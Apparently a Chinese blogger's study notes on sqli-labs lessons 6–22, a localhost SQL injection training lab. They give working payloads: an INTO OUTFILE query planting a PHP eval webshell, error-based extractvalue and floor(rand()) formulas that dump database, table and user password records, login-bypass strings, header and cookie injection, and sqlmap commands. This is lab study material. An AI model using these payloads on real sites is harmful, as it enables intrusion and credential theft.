DAY 3

sqli-labs lesson 6

  • 同lesson 5,只是把单引号改为双引号

sqli-labs lesson 7

  • 同lesson 5,只是把单引号后面加两个空格,使用Burpsuit时,需要对结果进行匹配
  • 这一关主要要学习的是sql种into outfile这个命令
    • 这个命令能够把字符串写入文件,但必须拥有目录的权限
    • 可以通过类似lesson5中猜解数据库名称的方法,猜解出@@datadir数据库目录
    • 然后把一句话木马上传到服务器
    • 命令:http://localhost/sqli-labs-master/Less-7/?id=1’))+UNION+SELECT+1,2,"<?php @eval($_GET(‘cmd’)) ?>"+into+outfile+“D:\\phpStudy\\WWW\\sqli-labs-master\\a.php”;–+
    • 注意:如果提示secure-file-priv错误,在mysql.ini中写入"secure_file_priv = "即可
  • sqlmap注入同lesson 2

sqli-labs lesson 8

  • 同lesson 5 布尔型注入

sqli-labs lesson 9

  • 同lesson 5 基于延迟的注入

补充lesson 5的一种手工注入方法

  • 基于错误回显的注入

    • 如果在检测注入点时发现网页会回显sql语法错误,但是网页上却没有能用的回显点,可以使用这种方法。
    • 公式:
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
- 使用时把payload改为SQL语句即可

sqli-labs lesson 10

  • 同lesson 5基于时间延迟的注入,只不过把单引号改为双引号

sqli-labs lesson 11

  • 手工注入

    • 首先想到尝试使用amdin账户登录,事实上,无论能否登录,都不影响这一关
    • 用户名任意,密码填入:1’ OR 1=1;#,会爆出一个用户,说明这里存在注入点,可以尝试联合查询语句。
    • 用户名填:1’ UNION SELECT 1,2;#,密码随意,发现网页上有两个回显点。
    • 其他步骤均与之前相同。

  • sqlmap

    • 命令:python sqlmap.py -u http://localhost/sqli-labs-master/Less-11/ --data “uname=1&passwd=1&submit=Submit” --batch
    • –data参数:用于发送数据,GET和POST方法均适用。
    • 其他均相同
    • 补充
      • –dbs参数:查询所有数据库
      • –threads x:设置最大病发线程数,建议不要超过10
      • –techniques X(X=B布尔型,E报错型,U联合注入型,T延迟型):指定注入类型

sqli-labs lesson 12

  • 同上一题,把单引号改为双引号加右括号

sqli-labs lesson 13

  • 闭合符号为单引号加右括号,由于没有注入点,可以使用报错型注入,也可与基于返回的图片使用布尔型注入。
  • 可以使用Burpsuit辅助,简化注入过程
  • sqlmap注入过程极慢

sqli-labs lesson 14

  • 闭合符号为双引号,其他同lesson 13
  • 注意使用HackBar时,要把符号编码

sqli-labs lesson 15

  • 布尔型注入,闭合符号为单引号,同lesson 13

sqli-labs lesson 16

  • 布尔型注入,闭合符号为双引号加右括号。

sqli-labs lesson 17

  • 这是个更新密码的操作,使用的是SQL语句中的UPDATE
UPDATE table_name
SET column1=value1,column2=value2,...
WHERE some_column=some_value;
  • 可以使用报错型注入
  • 也可以使用延时型注入
  • 根据源码,UPDATE语句中的用户名是经过一次转义并且SELECT之后获得的用户名,所以不能直接在用户名上检测

sqli-labs lesson 18

  • 注入点在HTTP头,抓包修改User-Agent即可(可使用Burpsuit,其他抓包工具一般也支持),这一关是SQL的插入语句,这里使用报错型注入
  • 报错型注入的第二种公式:'and extractvalue(1,concat(0x7e,(payload),0x7e))
    • 爆库:'and extractvalue(1,concat(0x7e,(database()),0x7e)) and ‘1’='1

    • 爆表:'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)) and ‘1’='1
    • 爆字段:'and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e)) and ‘1’='1
    • 爆记录:'and extractvalue(1,concat(0x7e,(select concat_ws(",",username,password) from security.users limit n,1),0x7e)) and ‘1’='1

sqli-labs lesson 19

  • 同lesson 18,只不过改成修改Referer参数了

sqli-labs lesson 20

  • 根据源码,这一次,是要修改COOKIE里的uname值,方法同lesson 18

sqli-labs lesson 21

  • COOKIE中的用户名经过base64编码,所以注入方法同lesson 20,注意要把payload也进行编码

sqli-labs lesson 22

  • 和上一题一样,只不过闭合闭合符号使用的双引号,修改一下符号即可

sqli-labs学习笔记 DAY3的更多相关文章

  1. python网络爬虫与信息提取 学习笔记day3

    Day3: 只需两行代码解析html或xml信息    具体代码实现:day3_1    注意BeautifulSoup的B和S需要大写,因为python大小写敏感 import requests r ...

  2. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  3. Python学习笔记——Day3

    Python字典(Dictionary) 字典是一种可变容器模型,可存储任意类型对象. 字典的每个键值(key => value)对用冒号(:)分割,每个对之间用逗号(,)分割,整个字典包括在花 ...

  4. [python学习笔记]Day3

    函数 如: def is_leapyear(year): if (year%4 == 0 and year%100 != 0) or (year%400 == 0): return True else ...

  5. JS学习笔记Day3

    一.什么是循环结构 满足一定条件,(((重复)))执行一段相同的代码 二.循环思想是什么(循环三要素) 开始 结束 步长(步进) 三.可以实现循环语句的有哪些 while do while for 四 ...

  6. HTML学习笔记Day3

    一.CSS样式 1.每个css样式都必须由两部分组成:选择符(Selector)+声明(Deleration) 注:声明又包括属性(Properyt)和属性值(value) 2.css属性:属性是指定 ...

  7. python学习笔记Day3

    set有点:1.访问速度快 2.天生解决了重复问题 tuple与set区别: 元组可重复,set不可重复创捷集合1 >>> s1.add('alex')>>> pr ...

  8. Python学习笔记 - day3 - 数据类型及运算符

    Python的数据类型 计算机顾名思义就是可以做数学计算的机器,因此,计算机程序理所当然地可以处理各种数值.但是,计算机能处理的远不止数值,还可以处理文本.图形.音频.视频.网页等各种各样的数据,不同 ...

  9. Linux20期学习笔记 Day3

    管道符.通配符.转义符及部分常用命令.考点

随机推荐

  1. 内核调试工具——strace

    简介 strace常用来跟踪进程执行时的系统调用和所接收的信号. 在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核 ...

  2. 2017年秋招美团Java程序员开发,看我如何拿到offer

    本人是一名本科毕业非计算机专业的程序员,面了阿里,结果没过,最后面上了美团,热乎乎的面经,昨天面的美团,虽然面完了HR面,但是感觉希望不大,希望能走运拿到offer吧.记性不是太好,有一些问题没能记住 ...

  3. ODI使用流程

    ---恢复内容开始--- ODI流程 Topology 1.建立 源 物理结构体系 2.建立 目的 物理结构体系 步骤同上 3.建立 源 逻辑架构 4.建立 目的 逻辑架构 步骤同上 Designer ...

  4. 点击底部input输入框,弹出的软键盘挡住input(苹果手机使用第三方输入法 )

    测试移动端页面的时候,偶然发现点击底部input输入框时,弹出的虚拟键盘偶尔会挡住input输入框. 输入框固定在页面底部,如图所示:   input固定底部设计图.png 点击底部input输入框唤 ...

  5. Autolayout中Hugging和Compression使用注意

    前言 本文主要侧重Autolayout使用过程中,通过代码和SB添加含有intrinsicSize属性控件约束的一些细节. 来自我的博客,欢迎访问:To Be Independent. Hugging ...

  6. javascript的执行机制—Event Loop

    既然今天要谈的是javascript的事件循环机制,要理解事件循环,首先要知道事件循环是什么. 我们先从一个例子来看一下javascript的执行顺序. <script> setTimeo ...

  7. 19-3-13Python中的函数

    def:关键字.定义.声明一个函数. def make():定义函数'make' *注:定义后的函数不调用是不执行的 函数的调用: 函数名+()==函数的调用 def addnum(): a = in ...

  8. PHP连接mysql8.0出错“SQLSTATE[HY000] [2054] The server requested authentication method unknow.....

    这个错可能是mysql默认使用 caching_sha2_password作为默认的身份验证插件,而不再是 mysql_native_password,但是客户端暂时不支持这个插件导致的. 解决方法一 ...

  9. docker 入门 (一)重要概念介绍

    序 之前一直想学一下docker,但是基本看完就忘记了,下次用还是要再翻一下教程. 最近项目要用,连续用了一段时间,就熟练了,基本的使用以及概念都记住了. 趁现在还刚入门,就把入门一些容易遇到的问题记 ...

  10. 十个常见的Java异常出现原因

    异常是 Java 程序中经常遇到的问题,我想每一个 Java 程序员都讨厌异常,一 个异常就是一个 BUG,就要花很多时间来定位异常问题. 1.NullPointerException 空指针异常,操 ...